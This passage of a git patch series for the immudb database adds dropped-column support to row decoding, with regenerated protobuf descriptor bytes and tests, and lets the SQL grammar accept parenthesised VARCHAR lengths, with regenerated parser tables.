0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, - 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, - 0x22, 0x15, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, - 0x2f, 0x73, 0x71, 0x6c, 0x67, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x7c, 0x0a, 0x10, 0x54, 0x72, - 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x26, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, - 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x72, 0x75, - 0x6e, 0x63, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x42, 0x91, 0x03, 0x5a, 0x2b, 0x67, 0x69, 0x74, - 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, - 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, - 0x69, 0x2f, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x92, 0x41, 0xe0, 0x02, 0x12, 0xee, 0x01, 0x0a, - 0x0f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, - 0x12, 0xda, 0x01, 0x3c, 0x62, 0x3e, 0x49, 0x4d, 0x50, 0x4f, 0x52, 0x54, 0x41, 0x4e, 0x54, 0x3c, - 0x2f, 0x62, 0x3e, 0x3a, 0x20, 0x41, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x67, - 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, - 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, - 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x72, 0x65, 0x74, - 0x75, 0x72, 0x6e, 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, - 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x6b, 0x65, 0x79, 0x73, 0x20, 0x61, - 0x6e, 0x64, 0x20, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x2c, 0x20, 0x77, 0x68, 0x69, 0x6c, 0x65, - 0x20, 0x61, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x65, 0x74, 0x3c, 0x2f, + 0x6c, 0x74, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, + 0x73, 0x71, 0x6c, 0x71, 0x75, 0x65, 0x72, 0x79, 0x3a, 0x01, 0x2a, 0x12, 0x5b, 0x0a, 0x0a, 0x4c, + 0x69, 0x73, 0x74, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, + 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, + 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, + 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61, + 0x62, 0x6c, 0x65, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x5b, 0x0a, 0x0d, 0x44, 0x65, 0x73, 0x63, + 0x72, 0x69, 0x62, 0x65, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x1a, + 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x15, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61, 0x62, 0x6c, + 0x65, 0x73, 0x3a, 0x01, 0x2a, 0x12, 0x7f, 0x0a, 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, + 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, + 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, + 0x6e, 0x74, 0x72, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x22, 0x15, 0x2f, 0x64, + 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x71, 0x6c, + 0x67, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x7c, 0x0a, 0x10, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, + 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, + 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, + 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x17, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x11, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, + 0x65, 0x3a, 0x01, 0x2a, 0x42, 0x91, 0x03, 0x5a, 0x2b, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, + 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x92, 0x41, 0xe0, 0x02, 0x12, 0xee, 0x01, 0x0a, 0x0f, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x12, 0xda, 0x01, 0x3c, + 0x62, 0x3e, 0x49, 0x4d, 0x50, 0x4f, 0x52, 0x54, 0x41, 0x4e, 0x54, 0x3c, 0x2f, 0x62, 0x3e, 0x3a, + 0x20, 0x41, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, - 0x73, 0x61, 0x66, 0x65, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, - 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x65, 0x78, 0x70, 0x65, 0x63, 0x74, 0x20, + 0x73, 0x61, 0x66, 0x65, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, + 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, - 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x69, 0x6e, 0x70, 0x75, 0x74, 0x73, 0x2e, 0x22, 0x04, 0x2f, - 0x61, 0x70, 0x69, 0x5a, 0x59, 0x0a, 0x57, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, - 0x4d, 0x08, 0x02, 0x12, 0x38, 0x41, 0x75, 0x74, 0x68, 0x65, 0x6e, 0x74, 0x69, 0x63, 0x61, 0x74, - 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x2c, 0x20, 0x70, 0x72, 0x65, 0x66, 0x69, - 0x78, 0x65, 0x64, 0x20, 0x62, 0x79, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x3a, 0x20, 0x42, - 0x65, 0x61, 0x72, 0x65, 0x72, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x0d, 0x41, - 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x02, 0x62, 0x0c, - 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, - 0x6f, 0x74, 0x6f, 0x33, + 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x6b, 0x65, 0x79, 0x73, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x76, + 0x61, 0x6c, 0x75, 0x65, 0x73, 0x2c, 0x20, 0x77, 0x68, 0x69, 0x6c, 0x65, 0x20, 0x61, 0x6c, 0x6c, + 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, + 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, + 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x65, 0x78, 0x70, 0x65, 0x63, 0x74, 0x20, 0x3c, 0x75, 0x3e, 0x62, + 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, + 0x3e, 0x20, 0x69, 0x6e, 0x70, 0x75, 0x74, 0x73, 0x2e, 0x22, 0x04, 0x2f, 0x61, 0x70, 0x69, 0x5a, + 0x59, 0x0a, 0x57, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x4d, 0x08, 0x02, 0x12, + 0x38, 0x41, 0x75, 0x74, 0x68, 0x65, 0x6e, 0x74, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, + 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x2c, 0x20, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x65, 0x64, 0x20, + 0x62, 0x79, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x3a, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, + 0x72, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x0d, 0x41, 0x75, 0x74, 0x68, 0x6f, + 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, + 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( diff --git a/pkg/api/schema/schema.proto b/pkg/api/schema/schema.proto index 034755c6e6..0ed6b9e902 100644 --- a/pkg/api/schema/schema.proto +++ b/pkg/api/schema/schema.proto @@ -1297,6 +1297,9 @@ message VerifiableSQLEntry { // Mapping of column IDs to their length constraints map ColLenById = 11; + + // Variable is used to assign unique ids to new columns as they are created + uint32 MaxColId = 12; } message UseDatabaseReply { diff --git a/pkg/client/sql.go b/pkg/client/sql.go index c4d59f990f..fb95a27a59 100644 --- a/pkg/client/sql.go +++ b/pkg/client/sql.go @@ -176,7 +176,7 @@ func (c *immuClient) VerifyRow(ctx context.Context, row *schema.Row, table strin sql.EncodeID(sql.PKIndexID), valbuf.Bytes()) - decodedRow, err := decodeRow(vEntry.SqlEntry.Value, vEntry.ColTypesById) + decodedRow, err := decodeRow(vEntry.SqlEntry.Value, vEntry.ColTypesById, vEntry.MaxColId) if err != nil { return err } @@ -286,7 +286,7 @@ func verifyRowAgainst(row *schema.Row, decodedRow map[uint32]*schema.SQLValue, c return nil } -func decodeRow(encodedRow []byte, colTypes map[uint32]sql.SQLValueType) (map[uint32]*schema.SQLValue, error) { +func decodeRow(encodedRow []byte, colTypes map[uint32]sql.SQLValueType, maxColID uint32) (map[uint32]*schema.SQLValue, error) { off := 0 if len(encodedRow) < off+sql.EncLenLen { @@ -308,7 +308,19 @@ func decodeRow(encodedRow []byte, colTypes map[uint32]sql.SQLValueType) (map[uin colType, ok := colTypes[colID] if !ok { - return nil, sql.ErrCorruptedData + // Support for dropped columns + if colID > maxColID { + return nil, sql.ErrCorruptedData + } + + vlen, voff, err := sql.DecodeValueLength(encodedRow[off:]) + if err != nil { + return nil, err + } + + off += vlen + off += voff + continue } val, n, err := sql.DecodeValue(encodedRow[off:], colType) diff --git a/pkg/client/sql_test.go b/pkg/client/sql_test.go index 81a0abcd33..0ca5ea4e81 100644 --- a/pkg/client/sql_test.go +++ b/pkg/client/sql_test.go @@ -33,38 +33,44 @@ func TestDecodeRowErrors(t *testing.T) { n string data []byte colTypes map[uint32]sql.SQLValueType + maxColID uint32 }{ { "No data", nil, nil, + 0, }, { "Short buffer", []byte{1}, tMap{}, + 0, }, { "Short buffer on type", []byte{0, 0, 0, 1, 0, 0, 1}, tMap{}, + 0, }, { "Missing type", []byte{0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1}, tMap{}, + 0, }, { "Invalid value", - []byte{0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0}, + []byte{0, 0, 0, 1, 0, 0, 0, 2, 0, 0, 0, 1, 0}, tMap{ 1: sql.VarcharType, }, + 1, }, } { t.Run(d.n, func(t *testing.T) { - row, err := decodeRow(d.data, d.colTypes) - require.True(t, errors.Is(err, sql.ErrCorruptedData)) + row, err := decodeRow(d.data, d.colTypes, d.maxColID) + require.ErrorIs(t, err, sql.ErrCorruptedData) require.Nil(t, row) }) } diff --git a/pkg/database/sql.go b/pkg/database/sql.go index 7e87b36b1c..d2d56d8dc9 100644 --- a/pkg/database/sql.go +++ b/pkg/database/sql.go @@ -174,6 +174,7 @@ func (d *db) VerifiableSQLGet(ctx context.Context, req *schema.VerifiableSQLGetR ColIdsByName: colIdsByName, ColTypesById: colTypesByID, ColLenById: colLenByID, + MaxColId: table.GetMaxColID(), }, nil } diff --git a/pkg/integration/sql/sql_test.go b/pkg/integration/sql/sql_test.go index 2b0283b7d4..383291498f 100644 --- a/pkg/integration/sql/sql_test.go +++ b/pkg/integration/sql/sql_test.go @@ -219,12 +219,17 @@ func TestImmuClient_SQL(t *testing.T) { } }) - t.Run("add column key", func(t *testing.T) { + t.Run("add column", func(t *testing.T) { _, err := client.SQLExec(ctx, ` ALTER TABLE table1 ADD COLUMN id INTEGER `, nil) require.NoError(t, err) + _, err = client.SQLExec(ctx, ` + INSERT INTO table1(id2, id, active, title2) VALUES(4, 44, false, 'new row') + `, nil) + require.NoError(t, err) + res, err := client.SQLQuery(ctx, "SELECT id2, id, active, title2 FROM table1", nil, true) require.NoError(t, err) require.NotNil(t, res) @@ -234,6 +239,22 @@ func TestImmuClient_SQL(t *testing.T) { require.NoError(t, err) } }) + + t.Run("drop column", func(t *testing.T) { + _, err := client.SQLExec(ctx, ` + ALTER TABLE table1 DROP COLUMN id + `, nil) + require.NoError(t, err) + + res, err := client.SQLQuery(ctx, "SELECT id2, active, title2 FROM table1", nil, true) + require.NoError(t, err) + require.NotNil(t, res) + + for _, row := range res.Rows { + err := client.VerifyRow(ctx, row, "table1", []*schema.SQLValue{row.Values[0]}) + require.NoError(t, err) + } + }) }) } From bf02ccd00cb44415168cb5204d02644a10d63a09 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 14 Sep 2023 19:07:37 +0200 Subject: [PATCH 0786/1062] chore(embedded/sql): support parenthesis as datatype constraint delimiter Signed-off-by: Jeronimo Irazabal --- embedded/sql/parser_test.go | 2 +- embedded/sql/sql_grammar.y | 5 + embedded/sql/sql_parser.go | 465 ++++++++++++++++++------------------ 3 files changed, 241 insertions(+), 231 deletions(-) diff --git a/embedded/sql/parser_test.go b/embedded/sql/parser_test.go index c9a3a05cb2..06f24ad3a2 100644 --- a/embedded/sql/parser_test.go +++ b/embedded/sql/parser_test.go @@ -250,7 +250,7 @@ func TestCreateTableStmt(t *testing.T) { expectedError: nil, }, { - input: "CREATE TABLE table1 (id INTEGER, name VARCHAR[50], ts TIMESTAMP, active BOOLEAN, content BLOB, PRIMARY KEY (id, name))", + input: "CREATE TABLE table1 (id INTEGER, name VARCHAR(50), ts TIMESTAMP, active BOOLEAN, content BLOB, PRIMARY KEY (id, name))", expectedOutput: []SQLStmt{ &CreateTableStmt{ table: "table1", diff --git a/embedded/sql/sql_grammar.y b/embedded/sql/sql_grammar.y index c7d8c74bde..8c8f510177 100644 --- a/embedded/sql/sql_grammar.y +++ b/embedded/sql/sql_grammar.y @@ -468,6 +468,11 @@ opt_max_len: { $$ = $2 } +| + '(' INTEGER ')' + { + $$ = $2 + } opt_auto_increment: { diff --git a/embedded/sql/sql_parser.go b/embedded/sql/sql_parser.go index 8a3ce983d8..b12792de7e 100644 --- a/embedded/sql/sql_parser.go +++ b/embedded/sql/sql_parser.go @@ -241,106 +241,106 @@ var yyExca = [...]int16{ 1, -1, -2, 0, -1, 79, - 58, 142, - 61, 142, - -2, 130, + 58, 143, + 61, 143, + -2, 131, -1, 200, - 44, 106, - -2, 101, + 44, 107, + -2, 102, -1, 230, - 44, 106, - -2, 103, + 44, 107, + -2, 104, } const yyPrivate = 57344 -const yyLast = 391 +const yyLast = 394 var yyAct = [...]int16{ - 78, 307, 65, 194, 149, 223, 247, 251, 93, 146, - 155, 184, 229, 113, 246, 105, 185, 108, 166, 48, - 84, 19, 280, 192, 6, 217, 192, 192, 238, 289, - 192, 284, 283, 266, 264, 239, 267, 81, 218, 265, - 83, 192, 234, 216, 96, 92, 214, 94, 95, 193, - 252, 159, 97, 131, 87, 88, 89, 90, 91, 66, - 64, 129, 130, 215, 82, 206, 205, 253, 157, 86, - 248, 131, 191, 213, 125, 126, 128, 127, 124, 129, - 130, 182, 135, 136, 110, 210, 140, 138, 131, 168, - 141, 117, 125, 126, 128, 127, 129, 130, 117, 140, - 139, 137, 119, 116, 104, 103, 21, 151, 263, 125, - 126, 128, 127, 131, 148, 131, 106, 270, 306, 163, - 158, 131, 130, 152, 300, 269, 170, 171, 172, 173, - 174, 175, 217, 160, 125, 126, 128, 127, 128, 127, - 183, 186, 125, 126, 128, 127, 67, 207, 192, 112, - 67, 187, 153, 66, 243, 199, 76, 197, 67, 62, - 200, 188, 181, 162, 235, 66, 115, 208, 180, 28, - 29, 198, 203, 67, 204, 147, 201, 245, 209, 212, - 269, 221, 202, 109, 114, 190, 189, 167, 169, 164, - 161, 120, 99, 70, 68, 37, 225, 54, 52, 47, - 154, 227, 232, 134, 279, 211, 262, 278, 98, 177, - 131, 167, 133, 261, 186, 233, 176, 118, 244, 178, - 240, 60, 179, 43, 69, 250, 236, 38, 308, 309, - 242, 122, 123, 254, 27, 292, 224, 249, 241, 195, - 299, 287, 274, 256, 255, 42, 106, 286, 258, 186, - 257, 111, 35, 40, 19, 297, 290, 282, 58, 222, - 271, 220, 34, 272, 77, 156, 158, 276, 275, 33, - 44, 45, 22, 259, 144, 219, 281, 143, 142, 296, - 288, 226, 121, 36, 71, 2, 53, 293, 196, 102, - 295, 30, 72, 31, 46, 298, 32, 301, 150, 55, - 56, 57, 304, 305, 302, 100, 101, 41, 81, 310, - 20, 83, 311, 75, 74, 96, 92, 268, 94, 95, - 50, 51, 107, 97, 132, 87, 88, 89, 90, 91, - 66, 81, 260, 277, 83, 82, 291, 303, 96, 92, - 86, 94, 95, 10, 12, 11, 97, 237, 87, 88, - 89, 90, 91, 66, 273, 80, 79, 285, 82, 13, - 231, 230, 228, 86, 73, 49, 7, 23, 8, 9, - 14, 15, 59, 39, 16, 17, 24, 26, 25, 63, - 19, 61, 85, 294, 145, 165, 18, 5, 4, 3, - 1, + 78, 310, 65, 194, 149, 223, 248, 252, 93, 146, + 155, 184, 229, 113, 247, 105, 185, 108, 166, 48, + 84, 19, 282, 239, 6, 238, 192, 217, 192, 292, + 192, 192, 286, 192, 287, 268, 266, 81, 240, 218, + 83, 193, 283, 269, 96, 92, 267, 94, 95, 253, + 159, 234, 97, 131, 87, 88, 89, 90, 91, 66, + 64, 129, 130, 215, 82, 216, 254, 157, 249, 86, + 213, 131, 214, 206, 125, 126, 128, 127, 124, 129, + 130, 182, 135, 136, 110, 205, 191, 138, 131, 210, + 140, 117, 125, 126, 128, 127, 129, 130, 265, 140, + 168, 141, 139, 137, 119, 116, 104, 151, 103, 125, + 126, 128, 127, 131, 148, 131, 21, 272, 106, 163, + 158, 131, 130, 152, 309, 303, 170, 171, 172, 173, + 174, 175, 271, 160, 125, 126, 128, 127, 128, 127, + 183, 186, 125, 126, 128, 127, 67, 217, 207, 192, + 67, 187, 112, 66, 153, 199, 117, 197, 67, 62, + 200, 188, 181, 162, 76, 66, 264, 28, 29, 115, + 244, 198, 203, 208, 204, 235, 201, 180, 209, 212, + 271, 67, 202, 147, 246, 221, 109, 114, 190, 189, + 167, 169, 164, 161, 120, 99, 225, 70, 68, 37, + 54, 227, 52, 47, 154, 232, 263, 281, 134, 211, + 280, 43, 177, 262, 186, 233, 98, 133, 245, 176, + 241, 131, 167, 118, 178, 251, 236, 179, 69, 60, + 243, 38, 27, 255, 311, 312, 295, 250, 242, 122, + 123, 224, 195, 257, 256, 42, 302, 290, 259, 276, + 186, 106, 289, 258, 111, 35, 40, 19, 300, 293, + 285, 273, 58, 222, 274, 220, 77, 158, 278, 277, + 44, 45, 34, 33, 22, 260, 144, 219, 284, 143, + 142, 2, 291, 299, 226, 102, 23, 121, 71, 53, + 296, 196, 72, 298, 32, 24, 26, 25, 301, 46, + 304, 100, 101, 41, 150, 307, 308, 305, 20, 30, + 81, 31, 313, 83, 270, 314, 107, 96, 92, 132, + 94, 95, 75, 74, 261, 97, 279, 87, 88, 89, + 90, 91, 66, 81, 50, 51, 83, 82, 294, 306, + 96, 92, 86, 94, 95, 10, 12, 11, 97, 156, + 87, 88, 89, 90, 91, 66, 237, 275, 80, 79, + 82, 13, 288, 231, 230, 86, 228, 36, 7, 73, + 8, 9, 14, 15, 49, 59, 16, 17, 39, 63, + 61, 85, 19, 55, 56, 57, 297, 145, 165, 18, + 5, 4, 3, 1, } var yyPact = [...]int16{ - 339, -1000, -1000, 18, -1000, -1000, -1000, 244, -1000, -1000, - 360, 162, 275, 280, 236, 229, 209, 123, 172, 211, - -1000, 339, -1000, 164, 164, 164, 276, -1000, 127, 311, - 126, 267, 125, 123, 123, 123, 221, -1000, 165, 74, - -1000, -1000, 122, 167, 121, 265, 164, -1000, -1000, 302, - 251, 251, -1000, 120, 284, 16, 15, 200, 111, 213, - -1000, 208, -1000, 67, 112, -1000, 14, 17, -1000, 157, - 13, 119, 263, -1000, 251, 251, -1000, 274, 26, 146, - -1000, 274, 274, 12, -1000, -1000, 274, -1000, -1000, -1000, - -1000, -1000, 11, -1000, -1000, -1000, -1000, 10, -1000, 1, - 254, 253, 250, 103, 103, 292, 274, 70, -1000, 129, - -1000, -21, 86, -1000, -1000, 118, 78, 117, -1000, 115, - 0, 116, -1000, -1000, 26, 274, 274, 274, 274, 274, - 274, 152, 161, 95, -1000, 51, 53, 213, -9, 274, - 274, 103, 115, 114, 113, -18, 66, -1000, -41, 190, - 270, 26, 292, 111, 274, 292, 311, 213, 112, -3, - 112, -1000, -24, -25, -1000, 65, -1000, 94, 103, -4, - 53, 53, 148, 148, 51, 59, -1000, 141, 274, -16, - -1000, -44, -1000, 9, -47, 50, 26, -52, -1000, 252, - -1000, 227, 109, 225, 186, 274, 262, 190, -1000, 26, - 133, 112, -48, -1000, -1000, -1000, -1000, 139, -63, -55, - 103, -1000, 51, -20, -1000, 81, -1000, 274, -1000, 105, - -19, -1000, -19, -1000, 274, 26, -22, 186, 200, -1000, - 133, 206, -1000, -1000, 112, 247, -1000, 149, 34, -1000, - -56, -51, -57, -54, 26, -1000, 98, -1000, 274, 43, - 26, -1000, -1000, 103, -1000, 195, -1000, -21, -1000, -22, - 144, -1000, 140, -70, -1000, -1000, -1000, -1000, -1000, -19, - 219, -58, -59, 202, 193, 292, -61, -1000, -1000, -1000, - -1000, -1000, 217, -1000, -1000, 184, 274, 101, 260, -1000, - 215, 190, 192, 26, 42, -1000, 274, -1000, 186, 101, - 101, 26, -1000, 36, 176, -1000, 101, -1000, -1000, -1000, - 176, -1000, + 341, -1000, -1000, 28, -1000, -1000, -1000, 246, -1000, -1000, + 279, 160, 293, 278, 240, 239, 212, 127, 176, 214, + -1000, 341, -1000, 152, 152, 152, 281, -1000, 131, 325, + 130, 270, 128, 127, 127, 127, 225, -1000, 173, 74, + -1000, -1000, 126, 171, 125, 269, 152, -1000, -1000, 311, + 253, 253, -1000, 123, 280, 19, 17, 205, 114, 216, + -1000, 211, -1000, 70, 115, -1000, 16, 75, -1000, 163, + 15, 122, 268, -1000, 253, 253, -1000, 276, 26, 151, + -1000, 276, 276, 14, -1000, -1000, 276, -1000, 